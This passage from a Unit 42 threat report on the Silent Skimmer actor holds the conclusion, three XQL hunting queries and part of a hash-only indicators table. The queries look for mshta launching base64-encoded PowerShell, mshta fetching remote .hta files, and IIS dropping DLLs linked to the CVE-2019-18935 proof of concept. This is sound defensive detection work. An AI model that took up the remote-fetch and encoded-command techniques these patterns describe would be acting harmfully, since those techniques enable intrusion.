in alignment with the <a href="https://unit42.paloaltonetworks.com/from-activity-to-formal-naming/" rel="noopener">Unit 42 naming convention</a> procedures, we are tracking this threat activity cluster as CL-CRI-0941.</p></div><div class="section-wrapper" id="section-4"><h2 id="section-4-title" data-section="scrollable"><strong>Conclusion</strong></h2><p>The threat actor behind Silent Skimmer has resurfaced after a year, now leveraging a new technique for scraping payment details. Despite this update, the group's TTPs remain largely consistent with previous activity. This persistence underscores the need for organizations to stay vigilant and patch vulnerabilities promptly to defend against this enduring threat.</p><p>Palo Alto Networks customers are better protected from the threats discussed in this article through the following products:</p><ul>
<li><a href="https://www.paloaltonetworks.com/cortex/cortex-xdr" rel="noopener">Cortex XDR</a> and <a href="https://www.paloaltonetworks.com/cortex/cortex-xsiam" rel="noopener">XSIAM</a> help protect against the threats described through modules including Behavioral Threat Protection and Local Analysis.</li>
<li><a href="https://www.paloaltonetworks.com/network-security/security-subscriptions" rel="noopener">Cloud-Delivered Security Services</a>, including:
<ul>
<li>The <a href="https://www.paloaltonetworks.com/products/secure-the-network/wildfire" rel="noopener">Advanced WildFire</a> machine-learning models and analysis techniques have been reviewed and updated in light of the IoCs shared in this research.</li>
<li><a href="https://docs.paloaltonetworks.com/advanced-url-filtering/administration" target="_blank" rel="noopener">Advanced URL Filtering</a> and <a href="https://docs.paloaltonetworks.com/dns-security" target="_blank" rel="noopener">Advanced DNS Security</a> identify known domains and URLs associated with CL-CRI-0941 activity as malicious.</li>
<li><a href="https://www.paloaltonetworks.com/network-security/advanced-threat-prevention" rel="noopener">Advanced Threat Prevention</a> signatures exist for activity described in this article, including the CVEs mentioned.</li>
</ul>
</li>
</ul><p><a href="https://www.paloaltonetworks.com/cortex/cortex-xpanse" rel="noopener">Cortex Xpanse</a> is able to identify internet-facing instances of Telerik UI, including versions that are specifically associated with the vulnerabilities above.</p><p>If you think you might have been compromised or have an urgent matter, get in touch with the<a href="https://start.paloaltonetworks.com/contact-unit42.html" target="_blank" rel="noopener"> Unit 42 Incident Response team</a> or call:</p><ul>
<li>North America Toll-Free: 866.486.4842 (866.4.UNIT42)</li>
<li>EMEA: +31.20.299.3130</li>
<li>APAC: +65.6983.8730</li>
<li>Japan: +81.50.1790.0200</li>
</ul><p>Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the <a href="https://www.cyberthreatalliance.org" target="_blank" rel="noopener">Cyber Threat Alliance</a>.</p><p><strong>XQL Queries</strong></p><div id="crayon-672ebeddad667989036612" class="crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate crayon-wrapped" data-settings=" minimize scroll-mouseover wrap" style="margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important; height: auto;">
		
			<div class="crayon-toolbar" data-settings=" mouseover overlay hide delay" style="font-size: 12px !important; height: 18px !important; line-height: 18px !important; margin-top: -18px; display: none; position: absolute; z-index: 2;"><span class="crayon-title"></span>
			<div class="crayon-tools" style="font-size: 12px !important;height: 18px !important; line-height: 18px !important;"><div class="crayon-button crayon-nums-button crayon-pressed" title="Toggle Line Numbers"><div class="crayon-button-icon"></div></div><div class="crayon-button crayon-plain-button" title="Toggle Plain Code"><div class="crayon-button-icon"></div></div><div class="crayon-button crayon-wrap-button crayon-pressed" title="Toggle Line Wrap"><div class="crayon-button-icon"></div></div><div class="crayon-button crayon-expand-button" title="Expand Code" style="display: none;"><div class="crayon-button-icon"></div></div><div class="crayon-button crayon-copy-button" title="Copy"><div class="crayon-button-icon"></div></div><div class="crayon-button crayon-popup-button" title="Open Code In New Window"><div class="crayon-button-icon"></div></div></div></div>
			<div class="crayon-info" style="min-height: 16.8px !important; line-height: 16.8px !important;"></div>
			<div class="crayon-plain-wrap"><textarea class="crayon-plain print-no" data-settings="dblclick" readonly="" style="tab-size: 4; font-size: 12px !important; line-height: 15px !important; z-index: 0; opacity: 0; overflow: hidden;">// Description: mshta.exe executing a powershell encoded command

config case_sensitive = false

| dataset = xdr_data

| filter event_type = ENUM.PROCESS and event_sub_type = ENUM.PROCESS_START

| filter actor_process_image_name = "mshta.exe"

// Filtering powershell with base64 encoded commands

| filter action_process_image_name = "powershell.exe" and action_process_image_command_line ~= "[A-Za-z0-9+\/]{50,}[=]{0,2}"

// Decoding the base64 encoded commands

| alter decoded_base64 = convert_from_base_64(arrayindex(regextract(action_process_image_command_line, "[A-Za-z0-9+\/]{50,}[=]{0,2}"),0))

| alter decoded_base64 = replex(decoded_base64, "\x00", "") // Trick to remove null bytes in decoded base64 output

| fields _time, agent_hostname, agent_ip_addresses, action_process_image_name, action_process_image_command_line, actor_process_command_line, causality_actor_process_command_line, decoded_base64</textarea></div>
			<div class="crayon-main" style="position: relative; z-index: 1; overflow: hidden;">
				<div class="table__wrapper"><table class="crayon-table" style="">
					<tbody><tr class="crayon-row">
				<td class="crayon-nums " data-settings="show">
					<div class="crayon-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="crayon-672ebeddad667989036612-1" style="height: 15px;">1</div><div class="crayon-num crayon-striped-num" data-line="crayon-672ebeddad667989036612-2" style="height: 15px;">2</div><div class="crayon-num" data-line="crayon-672ebeddad667989036612-3" style="height: 15px;">3</div><div class="crayon-num crayon-striped-num" data-line="crayon-672ebeddad667989036612-4" style="height: 15px;">4</div><div class="crayon-num" data-line="crayon-672ebeddad667989036612-5" style="height: 15px;">5</div><div class="crayon-num crayon-striped-num" data-line="crayon-672ebeddad667989036612-6" style="height: 15px;">6</div><div class="crayon-num" data-line="crayon-672ebeddad667989036612-7" style="height: 15px;">7</div><div class="crayon-num crayon-striped-num" data-line="crayon-672ebeddad667989036612-8" style="height: 15px;">8</div><div class="crayon-num" data-line="crayon-672ebeddad667989036612-9" style="height: 15px;">9</div><div class="crayon-num crayon-striped-num" data-line="crayon-672ebeddad667989036612-10" style="height: 15px;">10</div><div class="crayon-num" data-line="crayon-672ebeddad667989036612-11" style="height: 15px;">11</div><div class="crayon-num crayon-striped-num" data-line="crayon-672ebeddad667989036612-12" style="height: 15px;">12</div><div class="crayon-num" data-line="crayon-672ebeddad667989036612-13" style="height: 30px;">13</div><div class="crayon-num crayon-striped-num" data-line="crayon-672ebeddad667989036612-14" style="height: 15px;">14</div><div class="crayon-num" data-line="crayon-672ebeddad667989036612-15" style="height: 15px;">15</div><div class="crayon-num crayon-striped-num" data-line="crayon-672ebeddad667989036612-16" style="height: 15px;">16</div><div class="crayon-num" data-line="crayon-672ebeddad667989036612-17" style="height: 45px;">17</div><div class="crayon-num crayon-striped-num" data-line="crayon-672ebeddad667989036612-18" style="height: 15px;">18</div><div class="crayon-num" data-line="crayon-672ebeddad667989036612-19" style="height: 30px;">19</div><div class="crayon-num crayon-striped-num" data-line="crayon-672ebeddad667989036612-20" style="height: 15px;">20</div><div class="crayon-num" data-line="crayon-672ebeddad667989036612-21" style="height: 45px;">21</div></div>
				</td>
						<td class="crayon-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="crayon-672ebeddad667989036612-1"><span class="crayon-c">// Description: mshta.exe executing a powershell encoded command</span></div><div class="crayon-line crayon-striped-line" id="crayon-672ebeddad667989036612-2">&nbsp;</div><div class="crayon-line" id="crayon-672ebeddad667989036612-3"><span class="crayon-e">config </span><span class="crayon-i">case_sensitive</span><span class="crayon-h"> </span>=<span class="crayon-h"> </span><span class="crayon-t">false</span></div><div class="crayon-line crayon-striped-line" id="crayon-672ebeddad667989036612-4">&nbsp;</div><div class="crayon-line" id="crayon-672ebeddad667989036612-5"><span class="crayon-sy">|</span><span class="crayon-h"> </span><span class="crayon-i">dataset</span><span class="crayon-h"> </span>=<span class="crayon-h"> </span><span class="crayon-i">xdr_data</span></div><div class="crayon-line crayon-striped-line" id="crayon-672ebeddad667989036612-6">&nbsp;</div><div class="crayon-line" id="crayon-672ebeddad667989036612-7"><span class="crayon-sy">|</span><span class="crayon-h"> </span><span class="crayon-e">filter </span><span class="crayon-i">event_type</span><span class="crayon-h"> </span>=<span class="crayon-h"> </span><span class="crayon-t">ENUM</span><span class="crayon-sy">.</span><span class="crayon-e">PROCESS </span><span class="crayon-st">and</span><span class="crayon-h"> </span><span class="crayon-i">event_sub_type</span><span class="crayon-h"> </span>=<span class="crayon-h"> </span><span class="crayon-t">ENUM</span><span class="crayon-sy">.</span><span class="crayon-i">PROCESS_START</span></div><div class="crayon-line crayon-striped-line" id="crayon-672ebeddad667989036612-8">&nbsp;</div><div class="crayon-line" id="crayon-672ebeddad667989036612-9"><span class="crayon-sy">|</span><span class="crayon-h"> </span><span class="crayon-e">filter </span><span class="crayon-i">actor_process_image_name</span><span class="crayon-h"> </span>=<span class="crayon-h"> </span><span class="crayon-s">"mshta.exe"</span></div><div class="crayon-line crayon-striped-line" id="crayon-672ebeddad667989036612-10">&nbsp;</div><div class="crayon-line" id="crayon-672ebeddad667989036612-11"><span class="crayon-c">// Filtering powershell with base64 encoded commands</span></div><div class="crayon-line crayon-striped-line" id="crayon-672ebeddad667989036612-12">&nbsp;</div><div class="crayon-line" id="crayon-672ebeddad667989036612-13"><span class="crayon-sy">|</span><span class="crayon-h"> </span><span class="crayon-e">filter </span><span class="crayon-i">action_process_image_name</span><span class="crayon-h"> </span>=<span class="crayon-h"> </span><span class="crayon-s">"powershell.exe"</span><span class="crayon-h"> </span><span class="crayon-st">and</span><span class="crayon-h"> </span><span class="crayon-i">action_process_image_command_line</span><span class="crayon-h"> </span><span class="crayon-sy">~</span>=<span class="crayon-h"> </span><span class="crayon-s">"[A-Za-z0-9+\/]{50,}[=]{0,2}"</span></div><div class="crayon-line crayon-striped-line" id="crayon-672ebeddad667989036612-14">&nbsp;</div><div class="crayon-line" id="crayon-672ebeddad667989036612-15"><span class="crayon-c">// Decoding the base64 encoded commands</span></div><div class="crayon-line crayon-striped-line" id="crayon-672ebeddad667989036612-16">&nbsp;</div><div class="crayon-line" id="crayon-672ebeddad667989036612-17"><span class="crayon-sy">|</span><span class="crayon-h"> </span><span class="crayon-e">alter </span><span class="crayon-i">decoded_base64</span><span class="crayon-h"> </span>=<span class="crayon-h"> </span><span class="crayon-e">convert_from_base_64</span><span class="crayon-sy">(</span><span class="crayon-e">arrayindex</span><span class="crayon-sy">(</span><span class="crayon-e">regextract</span><span class="crayon-sy">(</span><span class="crayon-i">action_process_image_command_line</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-s">"[A-Za-z0-9+\/]{50,}[=]{0,2}"</span><span class="crayon-sy">)</span><span class="crayon-sy">,</span><span class="crayon-cn">0</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span></div><div class="crayon-line crayon-striped-line" id="crayon-672ebeddad667989036612-18">&nbsp;</div><div class="crayon-line" id="crayon-672ebeddad667989036612-19"><span class="crayon-sy">|</span><span class="crayon-h"> </span><span class="crayon-e">alter </span><span class="crayon-i">decoded_base64</span><span class="crayon-h"> </span>=<span class="crayon-h"> </span><span class="crayon-e">replex</span><span class="crayon-sy">(</span><span class="crayon-i">decoded_base64</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-s">"\x00"</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-s">""</span><span class="crayon-sy">)</span><span class="crayon-h"> </span><span class="crayon-c">// Trick to remove null bytes in decoded base64 output</span></div><div class="crayon-line crayon-striped-line" id="crayon-672ebeddad667989036612-20">&nbsp;</div><div class="crayon-line" id="crayon-672ebeddad667989036612-21"><span class="crayon-sy">|</span><span class="crayon-h"> </span><span class="crayon-e">fields </span><span class="crayon-i">_time</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-i">agent_hostname</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-i">agent_ip_addresses</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-i">action_process_image_name</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-i">action_process_image_command_line</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-i">actor_process_command_line</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-i">causality_actor_process_command_line</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-i">decoded_base64</span></div></div></td>
					</tr>
				</tbody></table></div>
			</div>
		</div><p></p><div id="crayon-672ebeddad672830942998" class="crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate crayon-wrapped" data-settings=" minimize scroll-mouseover wrap" style="margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important; height: auto;">
		
			<div class="crayon-toolbar" data-settings=" mouseover overlay hide delay" style="font-size: 12px !important; height: 18px !important; line-height: 18px !important; margin-top: -18px; display: none; position: absolute; z-index: 2;"><span class="crayon-title"></span>
			<div class="crayon-tools" style="font-size: 12px !important;height: 18px !important; line-height: 18px !important;"><div class="crayon-button crayon-nums-button crayon-pressed" title="Toggle Line Numbers"><div class="crayon-button-icon"></div></div><div class="crayon-button crayon-plain-button" title="Toggle Plain Code"><div class="crayon-button-icon"></div></div><div class="crayon-button crayon-wrap-button crayon-pressed" title="Toggle Line Wrap"><div class="crayon-button-icon"></div></div><div class="crayon-button crayon-expand-button" title="Expand Code" style="display: none;"><div class="crayon-button-icon"></div></div><div class="crayon-button crayon-copy-button" title="Copy"><div class="crayon-button-icon"></div></div><div class="crayon-button crayon-popup-button" title="Open Code In New Window"><div class="crayon-button-icon"></div></div></div></div>
			<div class="crayon-info" style="min-height: 16.8px !important; line-height: 16.8px !important;"></div>
			<div class="crayon-plain-wrap"><textarea class="crayon-plain print-no" data-settings="dblclick" readonly="" style="tab-size: 4; font-size: 12px !important; line-height: 15px !important; z-index: 0; opacity: 0; overflow: hidden;">// Description: MSHTA command line

config case_sensitive = false

| dataset = xdr_data

| filter event_type = ENUM.PROCESS and event_sub_type = ENUM.PROCESS_START

| filter action_process_image_name = "mshta.exe" and action_process_image_command_line ~= "http://(?:(?:\d|[01]?\d\d|2[0-4]\d|25[0-5])\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d|\d)/(?:\d{2,3}|\d{1,3}-\d{2,3}|securityhealth|securityhealthsystray|shell|\w+).hta"

| fields _time, agent_hostname, agent_ip_addresses, action_process_image_name, action_process_image_command_line, actor_process_command_line, causality_actor_process_command_line</textarea></div>
			<div class="crayon-main" style="position: relative; z-index: 1; overflow: hidden;">
				<div class="table__wrapper"><table class="crayon-table" style="">
					<tbody><tr class="crayon-row">
				<td class="crayon-nums " data-settings="show">
					<div class="crayon-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="crayon-672ebeddad672830942998-1" style="height: 15px;">1</div><div class="crayon-num crayon-striped-num" data-line="crayon-672ebeddad672830942998-2" style="height: 15px;">2</div><div class="crayon-num" data-line="crayon-672ebeddad672830942998-3" style="height: 15px;">3</div><div class="crayon-num crayon-striped-num" data-line="crayon-672ebeddad672830942998-4" style="height: 15px;">4</div><div class="crayon-num" data-line="crayon-672ebeddad672830942998-5" style="height: 15px;">5</div><div class="crayon-num crayon-striped-num" data-line="crayon-672ebeddad672830942998-6" style="height: 15px;">6</div><div class="crayon-num" data-line="crayon-672ebeddad672830942998-7" style="height: 15px;">7</div><div class="crayon-num crayon-striped-num" data-line="crayon-672ebeddad672830942998-8" style="height: 15px;">8</div><div class="crayon-num" data-line="crayon-672ebeddad672830942998-9" style="height: 45px;">9</div><div class="crayon-num crayon-striped-num" data-line="crayon-672ebeddad672830942998-10" style="height: 15px;">10</div><div class="crayon-num" data-line="crayon-672ebeddad672830942998-11" style="height: 45px;">11</div></div>
				</td>
						<td class="crayon-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="crayon-672ebeddad672830942998-1"><span class="crayon-c">// Description: MSHTA command line</span></div><div class="crayon-line crayon-striped-line" id="crayon-672ebeddad672830942998-2">&nbsp;</div><div class="crayon-line" id="crayon-672ebeddad672830942998-3"><span class="crayon-e">config </span><span class="crayon-i">case_sensitive</span><span class="crayon-h"> </span>=<span class="crayon-h"> </span><span class="crayon-t">false</span></div><div class="crayon-line crayon-striped-line" id="crayon-672ebeddad672830942998-4">&nbsp;</div><div class="crayon-line" id="crayon-672ebeddad672830942998-5"><span class="crayon-sy">|</span><span class="crayon-h"> </span><span class="crayon-i">dataset</span><span class="crayon-h"> </span>=<span class="crayon-h"> </span><span class="crayon-i">xdr_data</span></div><div class="crayon-line crayon-striped-line" id="crayon-672ebeddad672830942998-6">&nbsp;</div><div class="crayon-line" id="crayon-672ebeddad672830942998-7"><span class="crayon-sy">|</span><span class="crayon-h"> </span><span class="crayon-e">filter </span><span class="crayon-i">event_type</span><span class="crayon-h"> </span>=<span class="crayon-h"> </span><span class="crayon-t">ENUM</span><span class="crayon-sy">.</span><span class="crayon-e">PROCESS </span><span class="crayon-st">and</span><span class="crayon-h"> </span><span class="crayon-i">event_sub_type</span><span class="crayon-h"> </span>=<span class="crayon-h"> </span><span class="crayon-t">ENUM</span><span class="crayon-sy">.</span><span class="crayon-i">PROCESS_START</span></div><div class="crayon-line crayon-striped-line" id="crayon-672ebeddad672830942998-8">&nbsp;</div><div class="crayon-line" id="crayon-672ebeddad672830942998-9"><span class="crayon-sy">|</span><span class="crayon-h"> </span><span class="crayon-e">filter </span><span class="crayon-i">action_process_image_name</span><span class="crayon-h"> </span>=<span class="crayon-h"> </span><span class="crayon-s">"mshta.exe"</span><span class="crayon-h"> </span><span class="crayon-st">and</span><span class="crayon-h"> </span><span class="crayon-i">action_process_image_command_line</span><span class="crayon-h"> </span><span class="crayon-sy">~</span>=<span class="crayon-h"> </span><span class="crayon-s">"http://(?:(?:\d|[01]?\d\d|2[0-4]\d|25[0-5])\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d|\d)/(?:\d{2,3}|\d{1,3}-\d{2,3}|securityhealth|securityhealthsystray|shell|\w+).hta"</span></div><div class="crayon-line crayon-striped-line" id="crayon-672ebeddad672830942998-10">&nbsp;</div><div class="crayon-line" id="crayon-672ebeddad672830942998-11"><span class="crayon-sy">|</span><span class="crayon-h"> </span><span class="crayon-e">fields </span><span class="crayon-i">_time</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-i">agent_hostname</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-i">agent_ip_addresses</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-i">action_process_image_name</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-i">action_process_image_command_line</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-i">actor_process_command_line</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-i">causality_actor_process_command_line</span></div></div></td>
					</tr>
				</tbody></table></div>
			</div>
		</div><p></p><div id="crayon-672ebeddad673481552593" class="crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate crayon-wrapped" data-settings=" minimize scroll-mouseover wrap" style="margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important; height: auto;">
		
			<div class="crayon-toolbar" data-settings=" mouseover overlay hide delay" style="font-size: 12px !important; height: 18px !important; line-height: 18px !important; margin-top: -18px; display: none; position: absolute; z-index: 2;"><span class="crayon-title"></span>
			<div class="crayon-tools" style="font-size: 12px !important;height: 18px !important; line-height: 18px !important;"><div class="crayon-button crayon-nums-button crayon-pressed" title="Toggle Line Numbers"><div class="crayon-button-icon"></div></div><div class="crayon-button crayon-plain-button" title="Toggle Plain Code"><div class="crayon-button-icon"></div></div><div class="crayon-button crayon-wrap-button crayon-pressed" title="Toggle Line Wrap"><div class="crayon-button-icon"></div></div><div class="crayon-button crayon-expand-button" title="Expand Code" style="display: none;"><div class="crayon-button-icon"></div></div><div class="crayon-button crayon-copy-button" title="Copy"><div class="crayon-button-icon"></div></div><div class="crayon-button crayon-popup-button" title="Open Code In New Window"><div class="crayon-button-icon"></div></div></div></div>
			<div class="crayon-info" style="min-height: 16.8px !important; line-height: 16.8px !important;"></div>
			<div class="crayon-plain-wrap"><textarea class="crayon-plain print-no" data-settings="dblclick" readonly="" style="tab-size: 4; font-size: 12px !important; line-height: 15px !important; z-index: 0; opacity: 0; overflow: hidden;">//Description: Looks for IIS processes dropping DLLs with a naming convention used in a public CVE-2019-18935 POC and in the current incident

dataset = xdr_data

|filter event_type = ENUM.FILE

|filter actor_process_image_name = "w3wp.exe"

|filter action_file_name ~= "^[0-9]{10}\.[0-9]{5,7}(?:\.dll|sleep\-[0-9]{10}-amd64)"

|fields _time, agent_hostname, actor_process_image_name, actor_process_command_line, action_file_path, action_file_sha256</textarea></div>
			<div class="crayon-main" style="position: relative; z-index: 1; overflow: hidden;">
				<div class="table__wrapper"><table class="crayon-table" style="">
					<tbody><tr class="crayon-row">
				<td class="crayon-nums " data-settings="show">
					<div class="crayon-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="crayon-672ebeddad673481552593-1" style="height: 30px;">1</div><div class="crayon-num crayon-striped-num" data-line="crayon-672ebeddad673481552593-2" style="height: 15px;">2</div><div class="crayon-num" data-line="crayon-672ebeddad673481552593-3" style="height: 15px;">3</div><div class="crayon-num crayon-striped-num" data-line="crayon-672ebeddad673481552593-4" style="height: 15px;">4</div><div class="crayon-num" data-line="crayon-672ebeddad673481552593-5" style="height: 15px;">5</div><div class="crayon-num crayon-striped-num" data-line="crayon-672ebeddad673481552593-6" style="height: 15px;">6</div><div class="crayon-num" data-line="crayon-672ebeddad673481552593-7" style="height: 15px;">7</div><div class="crayon-num crayon-striped-num" data-line="crayon-672ebeddad673481552593-8" style="height: 15px;">8</div><div class="crayon-num" data-line="crayon-672ebeddad673481552593-9" style="height: 15px;">9</div><div class="crayon-num crayon-striped-num" data-line="crayon-672ebeddad673481552593-10" style="height: 15px;">10</div><div class="crayon-num" data-line="crayon-672ebeddad673481552593-11" style="height: 30px;">11</div></div>
				</td>
						<td class="crayon-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="crayon-672ebeddad673481552593-1"><span class="crayon-c">//Description: Looks for IIS processes dropping DLLs with a naming convention used in a public CVE-2019-18935 POC and in the current incident</span></div><div class="crayon-line crayon-striped-line" id="crayon-672ebeddad673481552593-2">&nbsp;</div><div class="crayon-line" id="crayon-672ebeddad673481552593-3"><span class="crayon-i">dataset</span><span class="crayon-h"> </span>=<span class="crayon-h"> </span><span class="crayon-i">xdr_data</span></div><div class="crayon-line crayon-striped-line" id="crayon-672ebeddad673481552593-4">&nbsp;</div><div class="crayon-line" id="crayon-672ebeddad673481552593-5"><span class="crayon-sy">|</span><span class="crayon-e">filter </span><span class="crayon-i">event_type</span><span class="crayon-h"> </span>=<span class="crayon-h"> </span><span class="crayon-t">ENUM</span><span class="crayon-sy">.</span><span class="crayon-i">FILE</span></div><div class="crayon-line crayon-striped-line" id="crayon-672ebeddad673481552593-6">&nbsp;</div><div class="crayon-line" id="crayon-672ebeddad673481552593-7"><span class="crayon-sy">|</span><span class="crayon-e">filter </span><span class="crayon-i">actor_process_image_name</span><span class="crayon-h"> </span>=<span class="crayon-h"> </span><span class="crayon-s">"w3wp.exe"</span></div><div class="crayon-line crayon-striped-line" id="crayon-672ebeddad673481552593-8">&nbsp;</div><div class="crayon-line" id="crayon-672ebeddad673481552593-9"><span class="crayon-sy">|</span><span class="crayon-e">filter </span><span class="crayon-i">action_file_name</span><span class="crayon-h"> </span><span class="crayon-sy">~</span>=<span class="crayon-h"> </span><span class="crayon-s">"^[0-9]{10}\.[0-9]{5,7}(?:\.dll|sleep\-[0-9]{10}-amd64)"</span></div><div class="crayon-line crayon-striped-line" id="crayon-672ebeddad673481552593-10">&nbsp;</div><div class="crayon-line" id="crayon-672ebeddad673481552593-11"><span class="crayon-sy">|</span><span class="crayon-e">fields </span><span class="crayon-i">_time</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-i">agent_hostname</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-i">actor_process_image_name</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-i">actor_process_command_line</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-i">action_file_path</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-i">action_file_sha256</span></div></div></td>
					</tr>
				</tbody></table></div>
			</div>
		</div><p></p></div><div class="section-wrapper" id="section-5"><h2 id="section-5-title" data-section="scrollable"><a id="post-137319-_v8176g40kstn"></a><strong>Indicators of Compromise</strong></h2><div class="table__wrapper"><table style="width: 100%;">
<tbody>
<tr>
<td style="text-align: center;"><b>Value</b></td>
<td style="text-align: center;"><b>Type</b></td>
<td style="text-align: center;"><b>Description</b></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">55271d94eb3c95bb6a1965d44bade5ecef5ff610e87133f169e602eb94c39d6b</span></td>
<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">RingQ Loader</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">1b325d32bc99db4b16e2cc4d4810c195f3643936d7ff5baee43ddd18cae9b2a6</span></td>
<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">RingQ Loader</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">85d67f9f6f82de5a8f5f92fcf9a82bbed2ff6f6d91a06a058a40c5a64882149b</span></td>
<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">RingQ Loader</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">b44e6fd83b87d50c8aa8cf62de2578a13c22292fcf298b7664ed828804280dbe</span></td>
<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">RingQ Loader</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">e3746de8993069f343a7334046a2361318e213e13883513a7c0713a847fd4dc9</span></td>
<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">RingQ Loader</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">64ae2bf6920311be2521c47678c04299bd24c2caec2df5b340aa212a69760fda</span></td>
<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">RingQ Loader</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">12508b830149c2d84f2c80947e78218128d16a834c8d0695068f3e773ac62ef9</span></td>
<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">GodPotato</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">0aa0ca465170315d2f02c471d5d96ce5fbd6076f59be83fa5398968e951a5f51</span></td>
<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">GodPotato</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">dc53581d4c9140b0f987eb6686d67db6d777f8c89114b062be35b8f2847aa66f</span></td>
<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">Usage of mixed mode assemblies</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">3579bae222eb8d7a7c3c16598cf9e81aecbbfc1a2ac2168430e48acfb02cfb24</span></td>
<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">Usage of mixed mode assemblies</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">5d82f31bc37aa18e5c5110968b1a85aa419c6e2840e17074d2519ed9ad5b914c</span></td>
<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">Usage of mixed mode assemblies</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">5ef5c841f74f9331efb5a43cd16d62fd27eb8293888e872a17c7a57795e37d75</span></td>
<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">Usage of mixed mode assemblies</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">7dadff4d883b32c01bbcb96baf081649dbfadd186b934a7fd3c9754e0ba87ab3</span></td>
<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">Usage of mixed mode assemblies</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">8ae2b420245ebbd983d42bb2d8ceb92f2e7ef40181d8f1cb347797ee7a61b2a1</span></td>
<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">Usage of mixed mode assemblies</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">c0244fafbd5231730fdd0bfef2a972dd074f52ca46dc377494424269add81d2b</span></td>
<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">Usage of mixed mode assemblies</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">c73e3b300ac9eb956a471cefb2282602834b5809c46b7807cfc06f671a5d9f8f</span></td>
